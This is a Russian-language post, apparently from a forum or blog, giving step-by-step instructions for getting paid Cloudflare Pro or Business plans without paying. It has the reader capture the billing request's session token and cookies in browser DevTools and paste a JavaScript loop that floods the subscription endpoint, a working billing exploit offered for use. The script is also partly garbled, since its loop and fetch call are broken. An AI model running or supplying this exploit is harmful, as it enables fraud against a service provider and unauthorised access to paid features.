Admin
Администратор
Как получить бесплатный план Cloudflare (и автоматизировать работу с ним)
Суть метода — воспользоваться автоматизацией, чтобы "форсировать" процесс покупки тарифа и получить желаемый pro/business-план бесплатно. Всё делается через инструменты разработчика браузера и небольшой скрипт. Действуете на свой страх и риск.Абузить можно любой из платных планов Cloudflare — Pro и Business.
Метод подходит для апгрейда с бесплатного тарифа на любой из этих уровней.
Enterprise план абузу не поддаётся — там отдельные условия, ручная модерация и нужен контакт с менеджером, так что такой апгрейд этим способом сделать не получится.
Всё остальное — в ваших руках: можно “абузить” как Pro, так и Business.
Пошаговая инструкция
1. Подготовка
- Входим в свой Cloudflare-аккаунт.
- Выбираем сайт, для которого хотим улучшить тариф.
2. Включаем инструменты разработчика
- Жмём F12 или кликаем правой кнопкой мыши → «Просмотреть код».
- Переходим во вкладку Network (Сеть) — именно тут будет происходить магия.
3. Провоцируем покупку или апгрейд тарифа
- В панели управления Cloudflare выбираем апгрейд плана (например, PRO или BUSINESS).
- Делаем попытку покупки. Неважно, есть ли деньги на карте — на этом этапе как раз и нужна ошибка (например, “недостаточно средств”).
- Следим за вкладкой Network — появился новый POST-запрос? Отлично!
4. Ловим нужный запрос
- Внимательно ищем POST-запрос, связанный с обновлением подписки (чаще всего в адресе будет append или что-то похожее).
- Кликаем по нему и переходим на вкладку Headers.
5. Собираем всё для скрипта
- Request URL — копируем и сохраняем.
- Headers — нужны x-atok и cookie. Остальные заголовки тоже можно взять из запроса для максимальной схожести с браузером.
- Payload — во вкладке Payload или Request Body копируем весь JSON (это будет тело запроса).
6. Формируем и запускаем скрипт
Код:
const url = 'Headers';
const headers = {
'content-type': 'application/json',
'accept': '/',
'accept-encoding': 'gzip, deflate, br, zstd',
'accept-language': 'ru-RU,ru;q=0.7',
'origin': 'https://dash.cloudflare.com',
'referer': 'https://dash.cloudflare.com/',
'sec-ch-ua': '"Not(A:Brand";v="99", "Brave";v="133", "Chromium";v="133")',
'sec-ch-ua-mobile': '?0',
'sec-ch-ua-platform': '"Windows"',
'sec-fetch-dest': 'empty',
'sec-fetch-mode': 'cors',
'sec-fetch-site': 'same-origin',
'sec-gpc': '1',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36',
'x-atok': 'Request Headers',
'x-cross-site-security': 'dash',
'cookie': 'cookie'
};
const payload = {
// Перейдите на вкладку 'Payload' или...
};
const delay = ms => new Promise(res => setTimeout(res, ms));
(async () => {
for (let i = 0; i console.log(Flood num ${i}: ${res.status}))
.catch(err => console.error(Flood num ${i} exited:, err));
await delay(100);
}
console.log("All reqs sended. Reload page");
})();
- Переходим во вкладку Console (та же DevTools).
- Вставляем полностью подготовленный скрипт.
- Жмём Enter и наблюдаем за процессом.
Итог: что должно получиться
Если всё сделано правильно — после завершения “флуда” статус плана на сайте должен измениться. Иногда помогает просто перезагрузка страницы.